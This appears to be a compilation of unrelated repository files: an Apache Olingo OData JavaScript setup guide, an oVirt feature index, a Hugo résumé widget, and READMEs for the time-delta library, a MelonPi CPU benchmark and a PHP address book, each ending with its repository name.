1. Go to the Pro UI repository and filter for specific milestone or any criteria
2. Press the extension icon in the task bar
3. Press 'Export'",


text:
Title:     Project setup for the OData library for JavaScript

# Project setup

### Software requirements

* Git client
* NodeJS installation (>= 0.8.0)
* Java VM ( only for running the Relase audit checks)

Please install this software and check the correct installation with help of the following commands which
should produce a similar output on your system:

    $ git --version
    git version 1.8.3.msysgit.0

    $ node --version
    v0.11.13

    $ npm --version
    1.4.6

    $ java -version
    java version "1.7.0_65"
    Java(TM) SE Runtime Environment (build 1.7.0_65-b20)
    Java HotSpot(TM) Client VM (build 24.65-b04, mixed mode, sharing)

### Install global node.js packages

* grunt client
  The grunt client searches the current directory for a grunt configuration file and starts the
  Grunt installation next the this configuration file. Installation via
    ``npm install -g grunt-cli``

    Test via

        $ grunt -version
        grunt-cli v0.1.13

### Download source

Open your (git-)bash and use the following commonand:

``git clone https://gitbox.apache.org/repos/asf/olingo-odata4-js``

### Install the project dependencies

##### JavaScript #####

After downloading navigate into the project folder via

``cd olingo-odata4-js/``

and install the dependencies via npm (node package manager) with

``npm install``

npm will check all dependencies listed in the package.json file and install them recursively.

If you are working from behind a proxy please set the proxy configaration for npm accordingly

  ``
  npm config set proxy http://proxy.company.com:8080
  ``

  ``
  npm config set https-proxy http://proxy.company.com:8080
  ``

Default are the environment variables *HTTP_PROXY* and *http_proxy* for **proxy** and
 *HTTPS_PROXY*, *https_proxy*, *HTTP_PROXY* or *http_proxy* for **https-proxy**.

##### Java #####

If you want to run the Apache release audit tools ([Apache Rat™](http://creadur.apache.org/rat/) ) please perform the
following steps:

* Navigate to
``./olingo-odata4-js/grunt-config/custom-tasks/rat``
* Run ``npm install`` to install the node_modules required by the rat tool

then

* Proceed as described the filed ``readme.md``

##### C# #####

In order to run the service for testing you need the the "Microsoft Visual Studio SP1" with the extension
 "NuGet package manager".

Please install the following packages via "NuGet package manager":

* Microsoft.OData.Client -Version 6.5.0
* Microsoft.OData.Core -Version 6.5.0
* Microsoft.OData.Edm -Version 6.5.0
* Microsoft.OData.Service -Version 6.5.0
* Microsoft.OData.Spatial -Version 6.5.0

branch_name: refs/heads/main


text:
---
title: oVirt 3.5 Feature
authors: sandrobonazzola
---

# oVirt 3.5 Feature

See also all [oVirt Features](/develop/release-management/features/)

* [JSON RPC 3.5](http://www.ovirt.org/develop/release-management/features/infra/jsonrpc3.5/)
* [Engine commands infrastructure changes for 3.5](http://www.ovirt.org/develop/release-management/features/engine-command-changes/)

repository: pkchavva/ovirt-site

repo_name: pkchavva/ovirt-site


text:
+++
# Experience widget.
widget = "experience"  # See https://sourcethemes.com/academic/docs/page-builder/
headless = true  # This file represents a page section.
active = true  # Activate this widget? true/false
weight = 30  # Order that this section will appear.

title = "Experience"
subtitle = ""

# Date format for experience
#   Refer to https://sourcethemes.com/academic/docs/customization/#date-format
date_format = "Jan 2006"

# Experiences.
#   Add/remove as many `[[experience]]` blocks below as you like.
#   Required fields are `title`, `company`, and `date_start`.
#   Leave `date_end` empty if it's your current employer.
#   Begin/end multi-line descriptions with 3 quotes `"""`.
[[experience]]
  title = "Research Analyst & Software Engineer"
  company = "Optirisk Systems"
  company_url = "https://optirisk-systems.com/"
  location = "Remote"
  date_start = "2018-12-13"
  date_end = ""
  description = """
  Project: **Strategies based on SSD**

  Responsibilities:

  * Interacting with Indian and Chinese clients to start live trading
  * Developed strategies for NIFTY Futures and NIFTY 50
  * Server and database maintenence for smooth running of live trading on NIFTY, HANGSENG and SP500 across 3 timezones
  * Developing and deploying backend systems for data scrapping, market alerts and market data

  Achievements:

  * New strategy went live for NIFTY Futures trading
  * Completed 9 months of trading on HANGSENG which generated 15% profit
  * Developing new strategies for NIFTY using AI/ML models
  """

[[experience]]
  title = "Data Scientist Engineer"
  company = "Crisp Analytics"
  company_url = "https://www.lumiq.ai/"
  location = "Noida"
  date_start = "2017-11-01"
  date_end = "2018-12-11"
  description = """

  Project: TVS Credit - Risk Control  (4 months)

  Responsibilities:

  * Developed model using behavioural analysis to identify delinquent customers
  * Designed comprehensive data model for project development
  * Performed data validation on client data to rectify gaps in staging and core data
  * Selected and created variables using weight of evidence and information value
  * Performed logistic regression to create the confusion matrix
  * Identified target customers with high probability of NPA and delinquency

  Achievements:

  * Increased efficiency of existing model by 50% for prediction of delinquent customers
  * Reduced the cost of customer follow ups of risk control unit

  Project: MyBox - Identity Information on Blockchain  (6 months)

  Responsibilities:

  * Worked on monetising and secure sharing of personal identification information
  * Performed feasibility analysis of backend and Ethereum blockchain development
  * Implemented ERC20 tokens for development of crypto-currency
  * Encryption and safekeeping of KYC data using state of art RSA encryption algorithms

  Achievements:

  * Process of sharing information became more transparent and hassle-free

  """

[[experience]]
  title = "Data Analyst"
  company = "Snapmint"
  company_url = "https://snapmint.com/"
  location = "Mumbai"
  date_start = "2016-09-01"
  date_end = "2017-11-01"
  description = """
  Project: **Snapmint( Smart lending platform)**

  Responsibilities:

  * Developed generalised linear model in H20 to detect the key factors in bounces.
  * Performed rejection analysis to increase loan disbursement to false negative customers
  * Automated the customer verification (KYC) using algorithms like soundex, jaro-winkler
  * Collaborated with cross functional teams for smooth business functioning
  * Designed dashboard and MIS reports for reporting of business performance

  Achievements:

  * Designed and developed policy for credit appraisal of customers
  * Turn around time in verification and under-writing process was reduced significantly
  """

+++

repository: dhruvrana/academic-kickstart

repo_name: dhruvrana/academic-kickstart


text:
# Node Time Delta

[![npm version](https://badge.fury.io/js/time-delta.svg)][repo-npm]
[![Build Status](https://travis-ci.org/betsol/time-delta.svg)][travis]

Formats difference between two dates as a human-readable string in almost any language.

Examples:

- 2 hours, 17 minutes
- 2 hr, 17 min, 10 sec
- 2h 17m 10s
- 1 yr, 4 mths
- 1 year, 4 months, 2 weeks, 5 days, 17 hours, 10 minutes, 10 seconds
- 2 часа; 17 минут; 10 секунд

## Features

- Supports ~688 locales by means of [CLDR][lib-cldr] (built-in). See the [full list][locales]
- Provides three different time unit formats for each locale (`long`, `short`, `narrow`)
- Falls back to another unit type format if preferred one is not present in the target locale

## Usage

1. Require library
2. ???
3. Format!

### Examples

```javascript

var timeDelta = require('./lib/time-delta.js');

var instance = timeDelta.create({
  locale: 'en' // default
});

var date1 = new Date('2015-04-01T21:00:00');
var date2 = new Date('2015-04-01T23:17:10');

// Outputs: "2 hours, 17 minutes".
console.log(instance.format(date1, date2));

```

See [demo.js][demo] for more examples.

## Installation

It's exactly like you've already guessed:

`npm install --save time-delta` or `npm install --save-dev time-delta`.

## Configuration

The library accepts the following [configuration object][config]:

| Option              | Type                               | Default                                     | Description
|---------------------|------------------------------------|---------------------------------------------|-------------
| locale              | `string`                           | `'en'`                                      | Locale to use. See the [full list][locales]
| span                | `integer`                          | `2`                                         | How much time units to include in the result
| delimiter           | `string`                           | `', '`                                      | Delimiter to use between time units
| unitType            | `string`                           | `'long'`                                    | Unit type format. One of `long`, `short` or `narrow`
| unitTypeLookupOrder | `array`                            | `['long', 'short', 'narrow']`               | Unit type lookup order (used for fallback)

You can pass config to factory method during instantiation:

`var instance = timeDelta.create(myInstanceConfig);`

You can also specify it for each call to `format()`:

`instance.format(date1, date2, myCallConfig);`

## Changelog

Please see the [complete changelog][changelog] for list of changes.

## Contributors

This library was made possible by [it's contributors][contributors].

## Developer guide

Fork, clone, `npm install`.

- Use `make locales` to build the locales
- Use `make test` to test the library

If you do a PR, make sure to cover it with [tests][tests].

## Feedback

If you have found a bug or have another issue with the library —
please [create an issue][new-issue].

If you have a question regarding the library or it's integration with your project —
consider asking a question at [StackOverflow][so-ask] and sending me a
link via [E-Mail][email]. I will be glad to help.

Have any ideas or propositions? Feel free to contact me by [E-Mail][email].

Cheers!

## Support

If you like this library consider to add star on [GitHub repository][repo-gh]
and on [NPM][repo-npm].

Thank you!

## License

The MIT License (MIT)

Copyright (c) 2015 Slava Fomin II, BETTER SOLUTIONS

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

  [changelog]: changelog.md
  [contributors]: https://github.com/betsol/time-delta/graphs/contributors
  [so-ask]: http://stackoverflow.com/questions/ask?tags=javascript,node.js,time,datediff
  [email]<EMAIL_ADDRESS>  [new-issue]: https://github.com/betsol/time-delta/issues/new
  [locales]: docs/locales.md
  [demo]: demo.js
  [config]: https://github.com/betsol/time-delta/blob/master/lib/time-delta.js#L23
  [tests]: test/tests.js
  [lib-cldr]: https://github.com/papandreou/node-cldr
  [repo-gh]: https://github.com/betsol/time-delta
  [repo-npm]: https://www.npmjs.com/package/time-delta
  [travis]: https://travis-ci.org/betsol/time-delta

repository: jamesdorfman/time-delta

repo_name: jamesdorfman/time-delta


text:
# M310nPi
Happy p1 day! M310nPi 1s a CPU p3rf0rmanc3 +e5+1ng s0ftware based 0n Leibniz f0rmu1a f0r π.

![pi.png](https://i.loli.net/2020/03/14/14zwRUVIcW3qdYx.png)

## Usage
```
java -jar MelonPi-${version}.jar [device name here if you want to show]
```

## Build
```
mvn clean install
```

repository: LanguaLab/MelonPi

repo_name: LanguaLab/MelonPi


text:
# _Address Book with PHP_

#### _A basic web application which stores a user's address book, September 9, 2016_

#### By _**Stephen Burden**_

## Description
_This application is an address book for the user. It stores, lists, and clears a list of contacts from user's form inputs._

## Setup/Installation Requirements
* _Clone the repository from the link below to your desktop_
* _Run Composer Install to include all dependencies_
* _In Terminal or Command Prompt go to the /web directory and enter the command: php -S localhost:8000_
* _To browse go to http://localhost:8000/ in the browser of your choosing_

## Link
https://github.com/spburden/address-book-php

## Known Bugs
_There are no known bugs with this application._

## Support and contact details
<EMAIL_ADDRESS>
## Technologies Used
_PHP, Silex, Twig, HTML, and Bootstrap_

## Specifications
| Behavior | Input Ex. | Output Ex. |
| --- | --- | --- |
| Users can enter name, phone number, and address |  Submit: Mike Jones,<PHONE_NUMBER>, 123 5th Ave Portland OR 97201 |  Mike Jones, 123 5th Ave Portland OR 97201,<PHONE_NUMBER> |

### License
The MIT License (MIT)

Copyright (c) 2016 **_Stephen Burden_**

repository: spburden/address-book-php

repo_name: spburden/address-book-php